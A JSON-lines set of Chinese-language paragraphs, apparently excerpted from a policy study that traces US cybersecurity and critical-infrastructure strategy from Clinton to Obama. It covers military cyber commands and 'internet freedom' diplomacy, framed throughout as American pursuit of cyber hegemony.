    {"text": "同日，美国联邦审计署发布了《美国国家网络安全战略：需要进行的关键改进》报告，要求采取积极措施，进一步加强5个领域的网络安全，即支持网络分析和预警能力，完成网络安全实践提出的行动，增强基础设施控制系统的网络安全性，加强国土安全部对网络攻击的恢复能力，解决网络犯罪问题。"},
    {"text": "2013年2月，奥巴马发布了第13636号行政令《增强关键基础设施网络安全》，明确指出该政策旨在提升国家关键基础设施安全，并维护环境安全与恢复能力。"},
    {"text": "2014 年 2 月，美国国家标准与技术研究所针对《增强关键基础设施网络安全》提出了《美国增强关键基础设施网络安全框架（V1.0）》，强调利用业务驱动指导网络安全行动，并按网络安全风险程度不同分为四个等级，组织风险管理进程。"},
    {"text": "当日，美国国土安全部还推出了“C立方”项目，即“关键基础设施网络领域志愿项目”进行配套建设，为所有自愿参考本框架的组织机构提供免费支持。"},
    {"text": "2015年1月22日，奥巴马在其国情咨文中，将“隐私和网络安全”作为一项重要议题，提出了加大网络安全建设资金投入的提案，并在2016 年财年预算报告中列出了该项目的改革目标，包括民营企业与政府的信息分享、反间谍功能的部署、网络教育的推广。 2 月 12日，奥巴马签署了一项旨在提高关键性基础设施网络安全的行政命令，要求美国政府与运营关键性基础设施的合作伙伴加强信息共享，共同建立和发展推动网络安全的实践框架。 2月25日，奥巴马下令成立“网络威胁情报整合中心”，旨在协调整合美国现有机构搜集的网络情报，进一步增强美国应对网络威胁的能力。"},
    {"text": "（二）以国外为力场，构建美国网络安全控制 尽管出于道德和国家形象的考虑，美国政府没有将对外网络干涉政策明确写入战略规划和政府报告，但从已有相关政府文件中依然可见端倪。"},
    {"text": "同年7 月，美国国防部发布了《网络空间行动战略》，提出五大战略措施，以捍卫美国在网络空间的利益，使得美国及其盟国和国际合作伙伴可以继续从信息时代的创新中获益。"},
    {"text": "同年7月14日，美国国防部发布了《网络空间行动战略》，提出“国防部的国际行动将支持美国的《网络空间国际战略》以及美国总统在基本自由、隐私和信息自由流动方面的承诺”。"},
    {"text": "2013年12月3日，美国与爱沙尼亚签署关于网络伙伴关系的声明，提出两国在网络安全与网络自由方面开展合作，爱沙尼亚作为“自由在线联盟”的现任主席国，将与美国一起推进网络自由。"},
    {"text": "据美国《华尔街日报》2015年3月1日报道，包括国务卿克里在内的美国内阁四名成员，联名致信中国官员，抗议中国银行业加强信息安全的新规，并且要求中国政府取消限制，以便外资科技公司进入中国敏感行业。"},
    {"text": "4月1日，美国总统奥巴马签署一项行政令，授权美国政府对参与“恶意网络空间活动”而危害到美国及公民利益的个人、组织和政府施加制裁。 这项行政令给予政府新的权力，对于利用网络攻击威胁美国外交政策、国家安全和经济稳定的境外个人和组织，美国政府有权对他们采取制裁措施，包括冻结资产和限制入境等。"},
    {"text": "（三）奥巴马政府网络安全举措及行动路线图 美国《网络空间国际战略》报告最后提到，“此项战略是一个路线图，它使美国政府各部门和机构可以更好地界定和协调其在国际网络空间政策中的角色，按照特定的路线前进，并对未来如何贯彻该战略进行规划。 ”通过表1.1和图1.1，可以更为清晰和直观地了解奥巴马执政至今，围绕网络安全推出的一系列文件、举措，以及其上任伊始提出的行动计划的推进情况。 表1.1 奥巴马政府网络安全举措一览（2009年至今） 续表 续表 注：部分立法和网络战相关内容未涉及。 图1.1 奥巴马政府网络安全行动计划路线图 三、奥巴马政府网络安全政策的特点 总而言之，奥巴马政府的网络安全政策具有如下特点：一是全局性和战略性。"},
    {"text": "奥巴马政府将网络空间视为权力、财富、资源正在不断聚集，与“陆、海、空、天”同等重要的第五战略空间，并将网络空间“建章立制”视为与第二次世界大战后建立美国主导下的国际秩序同等重要。"},
    {"text": "在小布什政府后期，美国已经开始探索建立在网络空间的霸权，具有标志性意义的“奥林匹克计划”和“棱镜计划”正是在这一时期开始执行的。"},
    {"text": "奥巴马时期的网络空间战略更强调控制性和进攻性，无论是积极发展网络军事力量，开展网络监控，还是推动网络空间的“建章立制”，都是在采取进攻性的手段，实行对网络空间中权力、资源、财富的控制。 （一）以完善领导指挥体系为着力点，全力加强美国政府在网络空间的统筹协调能力 奥巴马政府认为，美国政府网络空间安全机构存在着战略重心不明、职能重叠、缺乏协调配合等问题，因此必须从最高层实施领导，全面协调网络安全机制。"},
    {"text": "并由此打造了一体化的综合性国家网络安全领导体制：在网络空间安全办公室统一协调下，国土安全部主管政府机构、社会团体、大型企业等的网络安全政策及其实施与保障；"},
    {"text": "美国认为，自己在网络空间中正面临着一场新的看不见硝烟的战争，且已处于劣势，其原因有三：一是美国的社会运转对计算机网络的依存程度远超过全球平均水平； 二是美国认为自己的网络空间安全战略、安全观念和机制已不适应形势的发展变化； 三是网络本身的松散结构决定了其薄弱环节众多，且网络空间进入门槛低，攻击技术和工具易于获取，而防范技术发展则相对滞后。"},
    {"text": "（三）以强调国际网络空间合作为手段，力求掌控全球网络发展主导权，维护美国霸权地位 奥巴马政府之所以一改美国多年来的抵制态度，高调宣传网络空间国际合作，一方面在于其认识到，即使美国这样的超级大国，也不可能凭一己之力解决网络空间存在的诸多问题，更重要的是美国希望利用自己雄厚的互联网资源，通过在网络空间的国际行动掌控全球网络发展主导权，改变和影响其他国家的政治体系和价值观念，巩固自身的霸权地位。 奥巴马政府通过开展全民网络外交，使大批美国官员、学者和公民社会组织参与到美国政府领导下的价值观网络推广和意识形态渗透行动之中，外交、军事、传媒和法律等手段都被充分整合利用，形成了从宏观到微观的多层次、多渠道网络干涉手段。"},
    {"text": "（一）新瓶装旧酒——关键性基础设施防护的重点政策仍将延续 2015年以来，奥巴马在网络安全方面动作频频，不仅就网络安全问题提出了立法建议，还签署了行政命令呼吁企业与政府分享网络安全信息。"},
    {"text": "虽然在美国关键性基础设施面临的严峻网络威胁面前，奥巴马网络安全新政的效果仍未得到充分体现，并被视为往届政府政策的“翻版”，但评估奥巴马以往推出的举措，加上2015年以来提出的网络安全新政，都可以预期其将不遗余力加强网络安全建设，以完成历届美国政府设定的目标。"},
    {"text": "（二）后“棱镜门”时代——美国网络空间政策走向政治化、意识形态化和军事化 奥巴马政府的网络空间战略是一个复杂而矛盾的体系，其既要维护网络空间开放、透明、可操作性，又要建立美国的网络霸权；"},
    {"text": "“棱镜门”事件更加速了矛盾的爆发，暴露出奥巴马政府过度推进进攻性网络政策、开展网络监控、干涉他国主权和垄断互联网管理权，把网络空间推向了政治化、意识形态化和军事化的困境。"},
    {"text": "美国一直把建立网络空间的“行为规范”标榜为其网络空间国际战略的主要目标之一，但在斯诺登披露“棱镜计划”之后，各国均将美国这一“规范”视为加强控制的举动，而这一质疑极有可能难以消解，最终形成对立。"},
    {"text": "（三）网络空间霸权的导向作用——最终真正占据网络安全的制高点 奥巴马政府分别于2009年和2011年发布了《网络空间政策评估》和《网络空间国际战略》，对外公布了美国在网络空间的战略思想和战略目标。"},
    {"text": "奥巴马政府认为，发展中国家在互联网治理论坛和国际电信联盟这两个平台中数量占优，而且更支持“网络主权”，于是采取各种措施抵制其发挥作用，并于2011年创立“伦敦议程”，试图以此主导网络空间治理进程。 美国控制着全球互联网的主根服务器和信息流节点，掌握着全球互联网管理规则的主导权，但是奥巴马政府并未满足于这些优势，而是通过网络干涉在网络的外交运用方面赢得先机和垄断权，将网络干涉从点到面逐渐铺开，形成宏大的全球网络控制体系，巩固美国的网络霸权地位。"},
    {"text": "其次，网络干涉政策更加暴露了美国在网络问题上的“双重标准”，加剧网络空间的不公平现象。 最后，网络干涉政策严重侵犯他国主权和公民隐私，容易引发国际争端。 总体而言，美国网络干涉激化了国际信息领域的矛盾，导致“网权”争夺更加白热化，全球网络治理将面临更大挑战。"},
    {"text": "美国关键基础设施网络安全保护的经验分析 一、背景：日益严峻的关键基础设施威胁 随着物联网、大数据的发展，越来越多的关键基础设施之间实现互联互通，并接入了广袤的互联网。"},
    {"text": "随之而来的是“新的脆弱性”，例如，“设备故障、人为错误、天气及其他自然灾难以及物理和信息攻击”，尤其是关键基础设施联网后所面对的无处不在的潜在网络攻击威胁。"},
    {"text": "但是，由于美国对于信息系统的高度依赖，其本国的关键基础设施面临的网络安全风险也远高于大多数国家，只要有一点点安全漏洞，就足以造成巨大的经济损失。"},
    {"text": "“9·11”事件爆发后，美国对本土安全和关键基础设施的重视程度大幅提升，历任美国政府都在保护关键基础设施、提升网络安全方面推出了相关政策。"},
    {"text": "2015 年 2 月，美国颁布新的《国家安全战略》，明确将针对美国本土或者关键基础设施的毁灭性攻击列为影响本国利益的最高战略性风险，对于网络空间也明确了美国必须发挥“领导地位”。"},
    {"text": "经过多年的谋划和经营，美国关键基础设施保护已经形成了一系列比较成熟的做法，分析和研究其相关政策沿革，有利于为我国关键基础设施保护提供相关政策经验作为借鉴与参考。 二、美国关键基础设施保护的相关情况 （一）美国关键基础设施保护的政策沿革 1.克林顿执政期：保护机制雏形初成，首提公私合作 1995 年 1 月，克林顿总统发布了关于反恐怖主义政策的总统令。"},
    {"text": "1996年7月，克林顿政府颁布了第13010号行政令《关键基础设施保护》，初步划定了关键基础设施的范围，宣布成立关键基础设施保护机构——“总统关键基础设施保护委员会”（PCCIP），负责开展关键基础设施薄弱环节及其面临的威胁研究，就制定相关政策规划提出建议。"},
    {"text": "1998年5月，美国政府颁布了第63号总统令《克林顿政府对关键基础设施保护的政策》，分析了关键基础设施的脆弱性，指出对关键基础设施和信息系统的非传统攻击会严重危害美国的经济和军事，强调政府和私人部门合作保护基础设施的重要性，并确定了保护关键基础设施的部门分工，同时计划成立国家基础设施保障委员会（NIAC）和关键基础设施协调组（CICG），以加强关键基础设施保护中公共和民营部门间的合作关系，并在必要的时候向总统提交报告。"},
    {"text": "1996 年克林顿总统第13010号行政令将关键基础设施分为电信、电力、天然气及石油的存储和运输、银行和金融、交通运输、供水系统、紧急服务（包括医疗、警察、消防、救援）、政府延续性八类。"},
    {"text": "在第63号总统令中，其定义得到进一步厘清，“关键基础设施是指那些物理系统和以计算机、网络为基础的系统，它们对于最基本的经济运行和政府运转非常关键。"},
    {"text": "”就行动策略而言，要密切协调公共和民营部门的工作，其中政府部门应设立“部门联络官”，民营部门应指派“部门协调员”，最大限度地降低合作的行政和资金壁垒。"},
    {"text": "同时，计划总统令发布后180天内，由CICG首脑委员会（Principals Committee）制定并完成国家基础设施保障计划的日程表，具体包括脆弱性分析、矫正计划、预警、响应、重建、教育和意识培养、研究和开发、情报、国际合作、立法以及预算要求。"},
    {"text": "这一合作机制也将延伸至关键基础设施保护的研发环节，通过政府、民营部门、学术界共同合作，更新每年政府关键基础设施保护研发项目的优先级。"},
    {"text": "2.小布什执政期：保护文件密集出台，清晰界定保护范畴 2001年的“9·11”恐怖袭击事件让刚刚上台的小布什总统深刻意识到保护关键基础设施的重要性和紧迫性。 当年10月，小布什正式签署了《爱国者法案》，重新界定了关键基础设施，并提出了建设关键基础设施建模、方针和分析系统的保护措施。"},
    {"text": "接着，他发布了第13231 号行政令《信息时代的关键基础设施保护》，宣布成立“总统关键基础设施保护委员会”（PCIPB），取代PCCIP代表政府全面负责国家的网络空间安全工作。"},
    {"text": "2003年，小布什政府出台了关于关键基础设施保护的两份重要文件：《关键基础设施和重要资产物理保护国家战略》和第7号国家安全总统令《关键基础设施标识、优先级和保护》。"},
    {"text": "2007年5月，小布什政府发布《关键基础设施和重要资产部门分计划》，确定了分领域的安全目标，明确了财产、系统、网络数据和功能鉴定等事项。"},
    {"text": "到2008年，小布什政府共明确了18类需要保护的关键基础设施和重要资产，分别为农业和食品、能源、公众健康和保健、电信、邮政和运输业、交通系统、化学、商业设施、政府设施、紧急事务处理部门、水坝、核反应堆、原料和垃圾、国防工业基地、国家纪念性和标志性建筑，以及关键制造业等。"},
    {"text": "2002 年成立的国土安全部将分散在联邦调查局、国防部、商务部等各机构的基础设施保护机构吸纳至其下属的信息分析与基础设施保护局，以期降低协调成本，实现统筹计划、应急响应和技术援助全方位保护工作。"},
    {"text": "2003 年的《关键基础设施和重要资产物理保护国家战略》概述了美国关键基础设施具有高度的复杂性和异质性，因此，联邦政府、州及地方政府、民营部门之间应建立前所未有的合作，在风险评估、保护预案、具体举措方面建立信息共享及协作机制。"},
    {"text": "3.奥巴马执政期：保护体系日渐完善，重申私企合作重要性 奥巴马政府不仅把网络列为关键基础设施，而且把它升级为国家战略资产，是国家安全与经济的命脉。 2009年2月，奥巴马政府公布“国家基础设施保护计划”，要求美国联邦政府、州政府、地方政府与民营企业合作，全力保护网络安全。 奥巴马在2009年5月公布《网络空间政策评估报告》时谈到，美国21 世纪的经济繁荣将依赖于网络空间安全。"},
    {"text": "2009年美国《国家情报战略》把反情报工作和维护网络安全确定为情报部门未来4年的两大重点，而且反情报工作要在“整个互联网范围内”开展，以“保护关键性基础设施”。"},
    {"text": "行政令提出要建立政府与民营机构的信息共享机制，授权由美国商务部牵头、国土安全部配合，指导美国国家标准与技术研究所（NIST）制定降低关键基础设施信息与网络安全风险的框架。"},
    {"text": "总统令进一步明确了政府相关部门的职责，梳理了关键基础设施名单，厘清了关键基础设施保护中政府和企业的关系，力争形成合力，优化信息共享和责任共担机制。"},
    {"text": "2015 年2 月，白宫成立网络威胁与情报整合中心（CTIIC），该机构将协调整合国土安全部、联邦调查局等多部门的情报力量，提高美国防范和应对网络攻击的能力。"},
    {"text": "同月，白宫还发布了《促进民营部门网络安全信息共享》行政令，宣布在民营部门自愿的基础上，鼓励民营部门和公共部门一道建立网络威胁信息共享和分析组织，从而更好地处理威胁到公共卫生和安全、国家安全及经济安全的网络威胁。"},
    {"text": "2015年4月，美国国防部发布《网络战略》，从更加广义的网络与美国国防部职能之间的互动关系出发，提供网络安全问题的战略性指导。 该战略突破了“军民两分”原则，相比以往，更强调用美国网军司令部的力量保障美国民间的网络关键基础设施，并且明确介入关系美国国家利益的“民用”网络空间。"},
    {"text": "（二）美国关键基础设施网络安全保护的三大基石 1.信息共享 保护关键基础设施的网络安全，关键在于明确关键基础设施的脆弱性，对可能遭到网络攻击和出现的网络漏洞提前预警。"},
    {"text": "据卡巴斯基实验室负责人介绍，电力网络、供水系统、化工厂等关键基础设施企业搜集网络安全威胁的设备陈旧，改进措施不及时，甚至与一般企业相比，它们在基础设施升级方面更加缓慢。"},
    {"text": "3.隐私保护 美国从克林顿时期的关键基础设施保护的文件起，都会专门强调基础设施网络安全的保护要以与公民的自由权利益保持一致为前提，力求每一份政策文件和相关举措都包含了对美国公民的自由权和隐私权保护的内容。"},
    {"text": "同时，对与美国政府合作的民营企业，美国政府也一贯遵循自愿的方针，让企业自愿加入网络安全保护的计划中，并对民营企业自愿提供的资源和信息，予以法律许可范围内的最大限度保护。"},
    {"text": "（三）美国政府促进关键基础设施保护公私合作的障碍 美国政府在统筹关键基础设施保护方面遇到的最大难点就在于如何让更多民营部门自愿地采纳国家制定的关键基础设施保护计划和网络安全框架。"},
    {"text": "美国政府部门期望拥有更多的权力处理民营部门的网络安全问题，甚至连奥巴马总统也在敦促国会就这一方面以立法的形式确立下来，但是，这一举措一直遭到民营部门的反对，与此相关的网安立法工作则处于停滞状态。"},
    {"text": "美国政府希望能够更多地掌握民营部门手中海量的数据资源，然而，考虑“斯诺登事件”曝光后的负面影响，民营部门对是否为美国政府提供数据以及提供哪些数据方面的决策更加谨慎，以期在公众中和国际上保护公开透明的企业形象。"},
    {"text": "因此，随着我国工业4.0的开展和“互联网+”的升级，关键基础设施保护迫在眉睫，亟须建立关键基础设施网络安全保护的法律体系，从法律层面明确关键基础设施的定义和范围、界定政府部门的职责、规范运营者和所有者的运营资质要求。"},
    {"text": "关键基础设施数量众多，其重要性和潜在的破坏力也不尽相同，有必要划分关键基础设施信息安全风险等级，并对其进行分级管理。 因此，应尽快制定关键基础设施网络安全风险分级规范，根据关键基础设施的重要性、影响范围、网络攻击的可能性等因素，提出界定关键基础设施信息安全风险等级的量化标准，分级制定管理要求。"},
    {"text": "不过，由于我国的关键基础设施都是垄断性行业，因此，基础设施的投资渠道单一，容易造成基础设施建设落后，企业在关键基础设施网络安全保护的意识和举措方面不到位。"},
    {"text": "一、美国多管齐下加强网络空间战略基础建设 （一）加强网络空间战略体系及顶层规划以抢夺网络空间战略制高点 美国的网络空间战略经历了一个由“被动保护”到“主动出击”的渐进发展完善的过程。 自克林顿政府伊始，美国网络空间战略从“保护”敏感信息与数据、关键系统及基础设施安全，逐渐过渡到侧重“监控”信息内容，最终发展至奥巴马政府推崇的“积极防御”潜在威胁、“塑造”有利于美国的世界网络环境，将目标直指全球网络空间。"},
    {"text": "2009 年 5 月，奥巴马政府发布了《网络空间政策评估》，强调美国21世纪的经济繁荣将依赖于网络空间安全。 2011年5月，奥巴马政府发布了第一份明确表达主权国家在国际网络空间中的行动准则的战略文件《网络空间国际战略》，成为美国国家网络安全战略的集大成者，其出台标志着美国国家网络安全战略的整体定型。"},
    {"text": "此后，国防部依据该战略发布了《网络空间行动战略》，创造性地提出了“积极防御”概念，显露出其“以战止战”、“先发制人”的思想，集中体现了美国网络战略的对外控制性。 2012年12月，奥巴马签署了第20号总统政策指令《美国网络行动政策》，详细规定了美国在网络空间采取进攻性和防御性网络政策的原则、目标和方案，显露了美国在网络空间建立霸权的本质，对其整个网络政策体系导向产生了重要影响。 可以看出，美国的一系列网络战略文件旨在整合网络的经济、政治、外交、社会功能，竭力宣传“网络自由”主张；"},
    {"text": "美国网络国际战略的主要执行部门是国务院，其职责在于利用外交手段积极推销在网络空间的价值观，强化盟友之间的价值观同盟，并通过网络空间“建章立制”，试图建立起一套符合美国利益的网络空间规则。 同时，美国多个职能部门也建立了相应的网络战略保障机构，如隶属国土安全部的“美国计算机应急响应小组”，隶属国防部的“联合作战部队全球网络行动中心”和“国防网络犯罪中心”，隶属联邦调查局的“国家网络调查联合任务小组”，隶属国家情报总监办公室的“情报系统网络事件响应中心”，隶属国家安全局的“网络空间安全威胁行动中心”。 而最能代表美国网络战略对外扩张性的，则是 2010年5月组建的网络战司令部，该机构整合了分散于多个部门的网络力量，下设多达541个下级司令部，64个网络战空军中队、预备役和国民警卫队，4个空军网络战联队和陆海军网络战部队，将情报、进攻和防御融为一体，集组织、培训和装备网战部队，实施网络攻防战等职能于一身。"},
    {"text": "为了加强各职能部门与白宫的联系，美国设立了与总统保持密切联系的“白宫网络安全协调员”，并成立了“白宫网络安全办公室”，协调美国联邦政府所有军事和民事部门网络安全政策和行动。"},
    {"text": "2009 年年底成立的“全国通信与网络安全控制联合协调中心”，意在协调和整合各大网络安全专职机构，形成一体化的综合性国家网络安全领导和协调体制。"},
    {"text": "此外，各部门之间也开展了一系列横向协作，如国防部与国土安全部签订了“2010协作备忘录”，增加在政策法规、任务成效和预算三方面的合作；"},
    {"text": "（三）推出“网络自由”战略理念以为网络空间“建章立制” “网络自由”思想是美国全球战略的信息化辅助手段和信息心理战措施，发挥着日益重要的作用。"},
    {"text": "同时，希拉里通过两次“网络自由”演讲在全球范围内大肆鼓吹该思想，宣扬所谓虚拟世界的“公开、透明和人权”，称美国将把“不受限制的互联网访问作为外交政策的首要任务”，“要使互联网能够经受跨越网络、边界和区域的各种形式的干扰而始终保持通畅”。"},
    {"text": "“网络自由”概念统领了美国互联网国际战略的整体性框架，即《网络空间国际战略》。 同时，作为该战略的七个“政策重点”之一，“网络自由”被反复强调：“美国鼓励全世界人民通过数字媒体表达观点、分享信息、监督选举、揭露腐败、组织政治和社会运动”，“美国将继续确保网络全球化带来的好处，反对任何国家将网络分裂为本国内网，剥夺个体接触外部世界的企图”。 “网络自由”的概念是由美国为整个国际社会定义的。 经由对美式“网络自由”主张的推行，并使其成为“国际标准”和“世界共识”，美国可以进一步掌控网络空间的国际话语权。 首先，美国通过提出“网络自由”占得先机，巩固和强化其在国际网络空间规则制定上的主导地位。 其次，要求国际社会遵守“网络自由”规则，利用网络的虚拟性打破传统意义上的国界线和主权边界，为更大程度上实现美国国家利益做铺垫。 最后，通过“网络自由”思想，美国可以将自身标准强加于国际互联网空间，为干涉其他国家内政提供依据和口实。 “网络自由”看似简单的互联网概念界定和运行规则主张，实则透露出美国的整体战略考量。 二、美国利用网络空间霸权强化全球控制的具体表现 （一）在政治意识形态方面，利用互联网对外进行政治引导及价值观输出 利用信息霸权进行意识形态扩张，已经成为当今美国意识形态外交的重要手段。 互联网上信息相对自由的流通与传播，也是美国进行意识形态扩张的有效途径。 以对我国意识形态输出为例，网络就被美国赋予了“扳倒中国”的重要功能。"},
    {"text": "” 综合美国近几年的动作来看，其主要通过以下几种手段进行网络意识形态输出。 一是利用网络平台诋毁其他国家，同时传播美式价值观，改善美国国家形象。 全球网络空间处于极度不平衡的状态，美国拥有绝对的网络传播优势，其利用信息不对称，强制性地对外输出其美式价值观。 如美国近年来大肆炒作“中国威胁论”，通过互联网载体对我国政府工作中的不足夸大其词、横加指责，坚持从西方价值观角度来解读我国政策等，从而达到弱化我国网民的国家认同和政治认同的目的。"},
    {"text": "同时，为了争取国外民间支持，大力向民众尤其是青年提供廉价甚至免费的网络工具和上网便利，鼓动他们“网络问政”，积极宣扬“网络民主”，逐渐培养其对美式“网络自由”理念的认同。"},
    {"text": "这一形式最具有代表性的就是美国通过网络服务解禁等方式，源源不断地对中东进行网络意识形态渗透，最终触发和催化了2011年中东地区的政局动荡。"},
    {"text": "美国政府策划和主导，学术界、商界和非政府组织多方协同参与、共同组织实施网络外交，按照自身的标准筛选和推出符合其价值标准的互联网信息内容及传播方式进行传播活动。"},
    {"text": "同时处心积虑地为目标国家的反对派提供信息技术支持，为他们普及现代网络通信工具的使用，强化组织联系沟通和信息交换，提高政治组织的运行效率和政治影响。"},
    {"text": "（二）牢牢掌控网络空间“制网权”，利用互联网技术资源优势对外发起技术攻击与破坏活动 作为互联网的发源地，美国在网络技术和网络资源分配方面都占据着绝对优势。"},
    {"text": "在源源不断的资金支持下，美国的网络技术输出已进入从小项目小投入到大项目大投入、从个别政府部门项目到国家战略项目、从在重点国家和地区推广到全球普遍部署推广的新阶段。"},
    {"text": "美国的网络霸权，主要表现为技术上的霸权。 利用在计算机和网络信息领域的绝对技术优势，美国在国际行动中掌握更大的主动权，将技术优势转为战略优势，谋求实际利益。 （三）强化互联网经济霸权地位，利用硅谷在互联网技术应用方面的优势，主导和控制全球互联网市场 随着互联网与经济的密切结合，美国也开始在互联网经济领域建立霸权地位，妄图通过控制互联网市场来影响甚至控制其他国家的经济，进而达到其不可告人的目的。 美国通过互联网对他国的经济干预，主要从两个方面进行。 一是凭借其强大的互联网经济体系，占领他国市场。 在社交网络、搜索引擎、邮箱等互联网产业领域，美国都占有主导地位。"},
    {"text": "（四）控制互联网信息主导权，利用网络资源优势对外进行文化输出，强化美国“文化霸权” 文化扩张是美国实现霸权的重要手段之一。 互联网为美国“文化霸权”的扩张提供了一个全新的传播途径。 美国牢牢掌控着互联网信息主导权，利用网络资源优势源源不断地进行文化输出，大力宣扬美国的文化和价值观念。"},
    {"text": "一方面，美国凭借强大的网络信息优势，利用其他国家对网络控制能力相对差和信息屏蔽能力相对有限的弱点，乘机将其价值观念、思维和生活方式，强制性地通过网络输送到这些国家。"},
    {"text": "美国通过语言、形象、明星和故事等元素使其文化产品潜移默化地将其文化理念及观念渗透给网络受众，使其他国家的民众尤其是广大青少年深受其影响。 无论采用何种方式，美国文化产品所宣扬的拜金主义、享乐主义和利己主义等价值理念都通过网络渗透到了全球政治、经济和社会生活的各个领域。 这种文化渗透具有一定的隐蔽性，不会在短期内显露出来，却时刻影响着他国网络受众者尤其是青少年的思维模式和行为方式，从而逐步屏蔽其原有的价值观念，从根本上触及他国的民族传统文化、意识形态及价值观念。 同时，美国网络文化霸权的推行又具有广泛性，包裹着美式“民主、自由、平等”的理念推行文化霸权，对他国进行文化颠覆。 （五）持续升级网络空间军事理念及战略实践，谋求美国在网络空间的战略威慑能力 美国既是互联网的缔造者，也是网络战的始作俑者。 美国将网络安全上升到国家安全的高度，其对网络战争的重视也就不足为奇。 美国近年来通过一系列动作，逐步完善了网络战争战略规划、军力建设等，并秘密进行了网络实战，引发了世界网络战军备竞赛。 美国十分重视对外网络战争战略和战术规则制定。 美国防部先后发布了《国防战略报告》（2005年）、《网络空间行动战略》（2011年）和《网络空间战略》（2015年），将网络空间作为与“陆、海、空、天”并列的“第五空间”，同时明确提出了网络震慑力量建设和主动出击战略。 而在战术层面，则通过《塔林手册》、《网络空间联合作战条令》等，将网络攻击行为明朗化、规范化，完成了美国网络战争最贴近实战的一道“工序”。"},
    {"text": "其中最为著名的非“震网”病毒破坏伊朗核设施莫属。 2010年11月，一种名为“震网”的计算机病毒对伊朗网络系统实施攻击，目标直指伊朗核设施，最终导致1000多台离心机瘫痪。"},
    {"text": "三、美国千万百计向国际社会拓展“网络霸权” 为了推行网络霸权，美国将其阵线拓展到全球领域，通过主导互联网相关活动、鼓励国内公司和组织海外渗透、建立跨国互联网同盟等，将其触角伸向世界各地。 在向国际社会推行其网络控制权方面，美国一方面高度重视与盟国的合作沟通，另一方面不遗余力地对发展中国家进行渗透，具有明显的战略层次性和区分度。 （一）加强与盟国之间在网络空间的战略合作，强化“网络战略联盟”关系 美国与部分发达国家在网络技术、网络安全和网络经济领域，通过双边和多边管道进行深度合作。"},
    {"text": "该联盟由美国、英国、加拿大、澳大利亚和新西兰组成，将全球划分为五大监听区域，五国分别监听并共享资源，以实现在“任何时间、任何地点、（追踪）任何人”的目标。"},
    {"text": "而德国虽然一直刻画其美国监听受害者的形象，但德国情报部门也被踢爆是美国监听行动的“帮凶”，不仅曾帮助美国情报部门追踪本·拉登，甚至协助美国国家安全局对欧盟领导人实施政治间谍活动。"},
    {"text": "（二）利用互联网渗透扩展美国在“第三世界”的政治势力 在对待发展中国家方面，美国则通过经济社会援助和开展并主导网络项目的方式进行政治输出。"},
    {"text": "美国务院组织“全球网络自由力量”，策划实施“公民社会2.0”、“全球网络倡议”、“世界新闻自由日”、“网络治理论坛”、“网络自由跨区域声明”等多个国际活动，相关项目遍布世界各地，如2011年在智利、印度尼西亚、摩尔多瓦和乌拉圭等国先后举办了4次科技训练营，通过信息技术和政治传播能力训练，培训了来自至少35个国家的250个公民社会组织；"},
    {"text": "（三）强化美国对硅谷企业及行业组织对外扩张的主导 事实上，美国在推行其网络控制权时，还积极借助其社会组织及公司等，鼓励国内公司和组织进行海外渗透。"},
    {"text": "此外，以众多基金会如电子前哨基金会、新美国基金会等为代表的美国非政府组织也积极渗透到其他国家，为美国“网络自由”主张获取社会认可和舆论支持。 例如，电子前哨基金会以推进全球网络普及和网络信息自由流通为己任，频频攻击别国信息管制，大力为美国推行网络自由战略造势。"},
    {"text": "美国军方网络安全战略解析 随着网络安全重要性的日渐增加，美国加强了对网络安全的管理，并力图完善美国网络安全的机制建设和战略规划。 特别是随着“网络空间是美国五大核心领域之一”的国家战略确定并不断完善发展，美国军方也着手论证制定相关网络空间战略，制定和出台了一系列政策文件，并通过加大投资、扩编队伍、研发新技术等方式增强其在网络空间中的话语权。 一、确立网络战略框架 2004年，美国参谋长联席会发布了《美国国家军事战略》，第一次将网络空间作为一个与陆、海、空和外太空并列的战斗领域。"},
    {"text": "该文件指出了网络空间的特点、存在的威胁和脆弱性，并提出了一个确保美国在网络空间的军事优势的战略框架，包括六种手段和四个战略重点。 该文件提出，国家网络空间军事战略的目标是确保美军在网络空间的优势地位。"},
    {"text": "之前美方主要强调了防御，几乎没有提及美军在网络空间的威慑和进攻能力，而本次战略明确提出要提高美军在网络空间的威慑和进攻能力。 一旦遭受来自外界的网络攻击，美国的回应不会局限于网络回击，海陆空领域的常规军力打击也是必要选项。 新战略细化了五大“战略目标”，同时为国防部在网络安全方面设定了三大任务：一是防卫国防部的网络、系统和信息； 二是保卫美国国土及国家利益不受重大网络袭击活动的侵犯；"},
    {"text": "二、明确相关军种在网络战中的职能和任务 在网络空间国家战略和军事战略的指导下，美军各军种结合自身实际相继制定了各自的网络战能力发展规划。 主要包括《空军网络司令部战略构想》、《2009—2013 年海军网络战司令部战略计划》和《陆军战略作战概念能力规划 2016—2028》三个战略文件。"},
    {"text": "三、采取多重措施提高网络战能力 美国的网络军事战略是一个综合性战略，其核心是提高部队的网络战能力，从而在未来数字空间的对抗中获得优势。 美国希望通过全面发展自己在网络空间的行动能力，构建攻防兼备的网络战体系。 为了提高网络战能力，美国在机构设立、研发资助、技术支持、队伍建设等方面采取了一系列的举措。 （一）机构设置方面 1.设立网络司令部 2009年6月，美国国防部部长罗伯特·盖茨正式发布命令建立美国“网络空间司令部”，以统一协调保障美军网络安全和开展网络战等军事行动。"},
    {"text": "2010年1月，美空军宣布第24航空队已初步具备网络作战能力，有超过5400名人员能支援或执行24小时的网络空间行动。 作为空军对口的网络战指挥实体，第24 航空队使空军成为最早完成网络战指挥机构整合的军种。"},
    {"text": "目前，第24航空队隶属于空军航天司令部，下辖第67网络战连队（67NWW）、由空军信息站中心改编的第688信息战连队（688IOW，包括第318信息战大队和第38网络空间工程大队）、第689作战通信连队（689CCW，包括第3、5作战通信大队）、第624作战中心（624OC）和空军网络集成中心（AFNIC）。"},
    {"text": "3.海军拓展网络战指挥机构职能 2002 年 3 月，美国海军率先成立海军网络司令部，成为掌控海军网络系统、协调情报技术、情报处理、空间需求和海军军事行动中心机构。 2010年1月11日，海军作战部长宣布在海军网络司令部（NNWC）的基础上，合并其他信息战、电子战等机构，正式成立舰队网络司令部（FLTCY-BERCOM）暨第10舰队（C10F），负责为海军全球范围内的网络空间、信息、计算机网络、电子和太空等领域的作战提供支持。"},
    {"text": "每年网络防御经费高达10亿美元，司令部内组建了一支特殊队伍——海军红色战队，该分队中有34 个精通密码技术的网络工程师和7个技术高超的黑客。"},
    {"text": "其中，NNWC作为网络特遣部队1010 （CTF1010）负责网络运行，其下属部队包括海军大西洋计算机与电信区域主站（NCTAMS）和太平洋NCTAMS，为舰队提供网络连接、维护和岸上中继；"},
